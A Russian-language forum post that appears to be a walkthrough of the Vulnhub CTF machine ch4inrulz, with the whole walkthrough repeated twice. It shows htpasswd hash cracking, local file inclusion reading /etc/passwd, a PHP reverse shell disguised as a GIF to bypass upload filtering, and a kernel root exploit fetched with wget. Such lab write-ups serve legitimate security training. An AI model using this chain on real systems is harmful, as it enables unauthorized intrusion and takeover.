Debug
20.12.2018, 11:50
Привет Antichat, сегодня мы пройдем еще одно задачу CTF под названием ch4inrulz: 1.0.1 которую мы можем загрузить с Vulnhub.com и установить (ch4inrulz: 1.0.1 ~ VulnHub).
В описание сказано, что данная уязвимая машина была специально разработана для Top Jackan 2018 CTF. Ключевая особенность заключается в том, что данная машина была предназначена для имитации реальных атак.
Уровень средний.
Определение IP
Первая наша задача это узнать IP адрес машины. Сделать это можно хоть с помощью arp-scan хоть с netdiscover. Я загляну на аренду DHCP адресов в настройках своего роутера.
https://forum.antichat.xyz/attachments/29009012/img_622df1e571.png
По старинке, как всегда, мы начинаем наш анализ со сканирования портов. Для этой цели используем nmap. Команда: nmap
-sV -p- 192.168.1.248
. Результат сканирования:
https://forum.antichat.xyz/attachments/29009012/img_666d561f3f.png
Также для анализа я использую программу Acunetix web vulnerability scanner.
Это программа отлично подходит для наших целей - обнаружение уязвимых мест в машине. Она также умеет брутить директории. Обычно для этого используют утилиту dirsearch.
Поиск интересных каталогов
Воспользуемся dirsearch чтобы найти что-то интересное. Команда будет выглядеть:
python3 dirsearch.py -u http://192.168.1.248 -e php,html,png,bak -x 403
Где -u IP адрес(мы помним что у нас открыт 80 порт)
-e расширения файлов для поиска
-x команда для игнорирования ответа с сервера с номером 403
Результат поиска:
https://forum.antichat.xyz/attachments/29009012/img_6781da0a25.png
Лично меня поиск не удовлетворил, интересным оказался только каталог development. Но сначала перейдем по адресу
http://192.168.1.248
и взглянем с чем имеем дело.
https://forum.antichat.xyz/attachments/29009012/img_b843616eb1.png
Полазив по сайту(в исходном коде) ничего интересного не находя переходим в каталог development
https://forum.antichat.xyz/attachments/29009012/img_fbb7005066.png
Ага, вход на сайт запрещен. Стандартные переменные(admin,1234,password and etc.) не подходят, значит нам придется брутить. Но пока можем посмотреть что нашел Acunetix
https://forum.antichat.xyz/attachments/29009012/img_159d391b66.png
https://forum.antichat.xyz/attachments/29009012/img_f8ea9dfd4d.png
Здесь интересным для оказался файл index.html.bak. Скачав и открыв его(я сначала переименуем его в index.html). Открываем и видим:
https://forum.antichat.xyz/attachments/29009012/img_5260edebbe.png
Здесь стоит заглянуть и посмотреть исходный код страницы. Открываем:
https://forum.antichat.xyz/attachments/29009012/img_bfa20e0291.png
Интересным оказалась строка:
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path →
Теперь нам нужно расшифровать это хеш. Я использую JOHN. Через некоторое время мы получим результат - frank:frank!!!.
Теперь стоит заметить, что в строке фигурирует .htpasswd. Посмотрим что это. Просто так нам не посмотреть(сервер возвращает код 403, у нас нет доступа.) Значит мы попробуем залогиниться с данными которые мы раньше нашли. Данные подошли и результат:
https://forum.antichat.xyz/attachments/29009012/img_33bbeecf68.png
После получение этого файла и внимательного анализа можно догадаться, что нам нужен инструмент для загрузки файлов. P.S. uploader. Теперь наша строка выглядит:
http://192.168.1.248/development/uploader/
и видим:
https://forum.antichat.xyz/attachments/29009012/img_e4b19ed2e6.png
Также замечаем, что защита скрипта составляет 50%. Значит имеем дело с какой-то популярной уязвимостью. Также стоит заметить, что сервер принимает только image файлы(фильтрация). Скорее всего мы сможем обойти и запустить нашу полезную нагрузку.
Сканирование порта 8011
Переходим по адресу
http://192.168.1.248
. Результат:
https://forum.antichat.xyz/attachments/29009012/img_679823a45d.png
Недолго думая сразу брутим каталоги + можно запустить Acunetix web vulnerability scanner.
Команда:
python3 dirsearch.py -u http://192.168.1.248:8011 -e php,html,bak,png,txt -x 403
Acunetix ничего не нашел. А вот dirsearch:
https://forum.antichat.xyz/attachments/29009012/img_b86befbc9c.png
Идем сразу по адресу и смотрим:
http://192.168.1.248:8011/api
https://forum.antichat.xyz/attachments/29009012/img_3961725ad9.png
Сразу пытаемся вставлять эти файлы(P.S файл files_api.php). Наш пазл отлично собирается(А почему?) Да потому что в здесь имеется уязвимость LFI(Local File Inclusion). Может нам стоит посмотреть файл /etc/passwd?
https://forum.antichat.xyz/attachments/29009012/img_7ae385f36e.png
Адрес выглядит следующим образом -
http://192.168.1.248:8011/api/files_api.php?file=/etc/passwd
.
Исследуем дальше… Воспользуемся утилитой curl.
Команда:
curl -X POST -d "file=/etc/passwd" http://192.168.1.248:8011/api/files_api.php
Здесь все должно быть понятным, а результат меня обрадовал:
https://forum.antichat.xyz/attachments/29009012/img_7ea03a3a9d.png
Загружаем shell
И так мы имеем LFI + file upload = shell. Но нам нужно еще обойти функцию фильтрации загружаемых файлов. Также нам стоит узнать куда именно загружаются изображения. Здесь было очень и очень много попыток найти директорию куда все-таки могли загружаться изображения. Каталог FRANKuploads конечно был найден, но это было очень не просто.
Подготовка полезной нагрузки
Я попытался создать полезную нагрузку через meterpreter, но с получением сессии возникли проблемы. Поэтому поступим следующим образом. В Kali Linux возьмем файл /usr/share/webshells/php/php-reverse-shell.php. Теперь откроем его и добавим в самый верх строку GIF98(Надеюсь понятно зачем) Теперь нам также нужно заняться настройкой, найдем в файле следующий блок:
https://forum.antichat.xyz/attachments/29009012/img_b5d3b94fb0.png
Теперь переименуем файл в shell.gif и загрузим на сервер. Перейдя по адресу
http://192.168.1.248/development/uploader/FRANKuploads/
увидим, что файл загружен.
https://forum.antichat.xyz/attachments/29009012/img_4cda48e7c9.png
Теперь используя уязвимость LFI получим наконец-то доступ к машине. Воспользуемся curl. Команда:
curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.248:8011/api/files_api.php
И также предварительно настроив netcat(nc -lvp 8888) запустим и увидим результат.
https://forum.antichat.xyz/attachments/29009012/img_6442897919.png
Теперь мы хотим получить интерактивную оболочку Python
https://forum.antichat.xyz/attachments/29009012/img_f8e2228f0c.png
Получение Root прав
Теперь наша задача найти уязвимость и получить root права. Для этого будем использовать linux-exploit-suggester. Это отличная утилита которая найдет уязвимые места в системе.
Команда для скачивания:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
Теперь запустим ..les.sh
https://forum.antichat.xyz/attachments/29009012/img_5af55e24df.png
Мы найдем много чего интересного. Уязвимость которая нам подходит Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation(RDS privilege escalation exploit).
Скачав его и запустив Python SimpleHTTPServer мы сможем загрузить эксплоит на нашу машину. И так команда для запуска сервера: python -m SimpleHTTPServer 80
https://forum.antichat.xyz/attachments/29009012/img_5d79e55db1.png
Теперь скачаем и запустим наш эксплоит:
https://forum.antichat.xyz/attachments/29009012/img_ae59b0506b.png
Отлично root права получены. Осталось только прочитать root.txt
https://forum.antichat.xyz/attachments/29009012/img_4c2274e4fd.png
На этом прохождение CTF машины окончено).
В описание сказано, что данная уязвимая машина была специально разработана для Top Jackan 2018 CTF. Ключевая особенность заключается в том, что данная машина была предназначена для имитации реальных атак.
Уровень средний.
Определение IP
Первая наша задача это узнать IP адрес машины. Сделать это можно хоть с помощью arp-scan хоть с netdiscover. Я загляну на аренду DHCP адресов в настройках своего роутера.
https://forum.antichat.xyz/attachments/29009012/img_622df1e571.png
По старинке, как всегда, мы начинаем наш анализ со сканирования портов. Для этой цели используем nmap. Команда: nmap
-sV -p- 192.168.1.248
. Результат сканирования:
https://forum.antichat.xyz/attachments/29009012/img_666d561f3f.png
Также для анализа я использую программу Acunetix web vulnerability scanner.
Это программа отлично подходит для наших целей - обнаружение уязвимых мест в машине. Она также умеет брутить директории. Обычно для этого используют утилиту dirsearch.
Поиск интересных каталогов
Воспользуемся dirsearch чтобы найти что-то интересное. Команда будет выглядеть:
python3 dirsearch.py -u http://192.168.1.248 -e php,html,png,bak -x 403
Где -u IP адрес(мы помним что у нас открыт 80 порт)
-e расширения файлов для поиска
-x команда для игнорирования ответа с сервера с номером 403
Результат поиска:
https://forum.antichat.xyz/attachments/29009012/img_6781da0a25.png
Лично меня поиск не удовлетворил, интересным оказался только каталог development. Но сначала перейдем по адресу
http://192.168.1.248
и взглянем с чем имеем дело.
https://forum.antichat.xyz/attachments/29009012/img_b843616eb1.png
Полазив по сайту(в исходном коде) ничего интересного не находя переходим в каталог development
https://forum.antichat.xyz/attachments/29009012/img_fbb7005066.png
Ага, вход на сайт запрещен. Стандартные переменные(admin,1234,password and etc.) не подходят, значит нам придется брутить. Но пока можем посмотреть что нашел Acunetix
https://forum.antichat.xyz/attachments/29009012/img_159d391b66.png
https://forum.antichat.xyz/attachments/29009012/img_f8ea9dfd4d.png
Здесь интересным для оказался файл index.html.bak. Скачав и открыв его(я сначала переименуем его в index.html). Открываем и видим:
https://forum.antichat.xyz/attachments/29009012/img_5260edebbe.png
Здесь стоит заглянуть и посмотреть исходный код страницы. Открываем:
https://forum.antichat.xyz/attachments/29009012/img_bfa20e0291.png
Интересным оказалась строка:
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path →
Теперь нам нужно расшифровать это хеш. Я использую JOHN. Через некоторое время мы получим результат - frank:frank!!!.
Теперь стоит заметить, что в строке фигурирует .htpasswd. Посмотрим что это. Просто так нам не посмотреть(сервер возвращает код 403, у нас нет доступа.) Значит мы попробуем залогиниться с данными которые мы раньше нашли. Данные подошли и результат:
https://forum.antichat.xyz/attachments/29009012/img_33bbeecf68.png
После получение этого файла и внимательного анализа можно догадаться, что нам нужен инструмент для загрузки файлов. P.S. uploader. Теперь наша строка выглядит:
http://192.168.1.248/development/uploader/
и видим:
https://forum.antichat.xyz/attachments/29009012/img_e4b19ed2e6.png
Также замечаем, что защита скрипта составляет 50%. Значит имеем дело с какой-то популярной уязвимостью. Также стоит заметить, что сервер принимает только image файлы(фильтрация). Скорее всего мы сможем обойти и запустить нашу полезную нагрузку.
Сканирование порта 8011
Переходим по адресу
http://192.168.1.248
. Результат:
https://forum.antichat.xyz/attachments/29009012/img_679823a45d.png
Недолго думая сразу брутим каталоги + можно запустить Acunetix web vulnerability scanner.
Команда:
python3 dirsearch.py -u http://192.168.1.248:8011 -e php,html,bak,png,txt -x 403
Acunetix ничего не нашел. А вот dirsearch:
https://forum.antichat.xyz/attachments/29009012/img_b86befbc9c.png
Идем сразу по адресу и смотрим:
http://192.168.1.248:8011/api
https://forum.antichat.xyz/attachments/29009012/img_3961725ad9.png
Сразу пытаемся вставлять эти файлы(P.S файл files_api.php). Наш пазл отлично собирается(А почему?) Да потому что в здесь имеется уязвимость LFI(Local File Inclusion). Может нам стоит посмотреть файл /etc/passwd?
https://forum.antichat.xyz/attachments/29009012/img_7ae385f36e.png
Адрес выглядит следующим образом -
http://192.168.1.248:8011/api/files_api.php?file=/etc/passwd
.
Исследуем дальше… Воспользуемся утилитой curl.
Команда:
curl -X POST -d "file=/etc/passwd" http://192.168.1.248:8011/api/files_api.php
Здесь все должно быть понятным, а результат меня обрадовал:
https://forum.antichat.xyz/attachments/29009012/img_7ea03a3a9d.png
Загружаем shell
И так мы имеем LFI + file upload = shell. Но нам нужно еще обойти функцию фильтрации загружаемых файлов. Также нам стоит узнать куда именно загружаются изображения. Здесь было очень и очень много попыток найти директорию куда все-таки могли загружаться изображения. Каталог FRANKuploads конечно был найден, но это было очень не просто.
Подготовка полезной нагрузки
Я попытался создать полезную нагрузку через meterpreter, но с получением сессии возникли проблемы. Поэтому поступим следующим образом. В Kali Linux возьмем файл /usr/share/webshells/php/php-reverse-shell.php. Теперь откроем его и добавим в самый верх строку GIF98(Надеюсь понятно зачем) Теперь нам также нужно заняться настройкой, найдем в файле следующий блок:
https://forum.antichat.xyz/attachments/29009012/img_b5d3b94fb0.png
Теперь переименуем файл в shell.gif и загрузим на сервер. Перейдя по адресу
http://192.168.1.248/development/uploader/FRANKuploads/
увидим, что файл загружен.
https://forum.antichat.xyz/attachments/29009012/img_4cda48e7c9.png
Теперь используя уязвимость LFI получим наконец-то доступ к машине. Воспользуемся curl. Команда:
curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.248:8011/api/files_api.php
И также предварительно настроив netcat(nc -lvp 8888) запустим и увидим результат.
https://forum.antichat.xyz/attachments/29009012/img_6442897919.png
Теперь мы хотим получить интерактивную оболочку Python
https://forum.antichat.xyz/attachments/29009012/img_f8e2228f0c.png
Получение Root прав
Теперь наша задача найти уязвимость и получить root права. Для этого будем использовать linux-exploit-suggester. Это отличная утилита которая найдет уязвимые места в системе.
Команда для скачивания:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
Теперь запустим ..les.sh
https://forum.antichat.xyz/attachments/29009012/img_5af55e24df.png
Мы найдем много чего интересного. Уязвимость которая нам подходит Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation(RDS privilege escalation exploit).
Скачав его и запустив Python SimpleHTTPServer мы сможем загрузить эксплоит на нашу машину. И так команда для запуска сервера: python -m SimpleHTTPServer 80
https://forum.antichat.xyz/attachments/29009012/img_5d79e55db1.png
Теперь скачаем и запустим наш эксплоит:
https://forum.antichat.xyz/attachments/29009012/img_ae59b0506b.png
Отлично root права получены. Осталось только прочитать root.txt
https://forum.antichat.xyz/attachments/29009012/img_4c2274e4fd.png
На этом прохождение CTF машины окончено).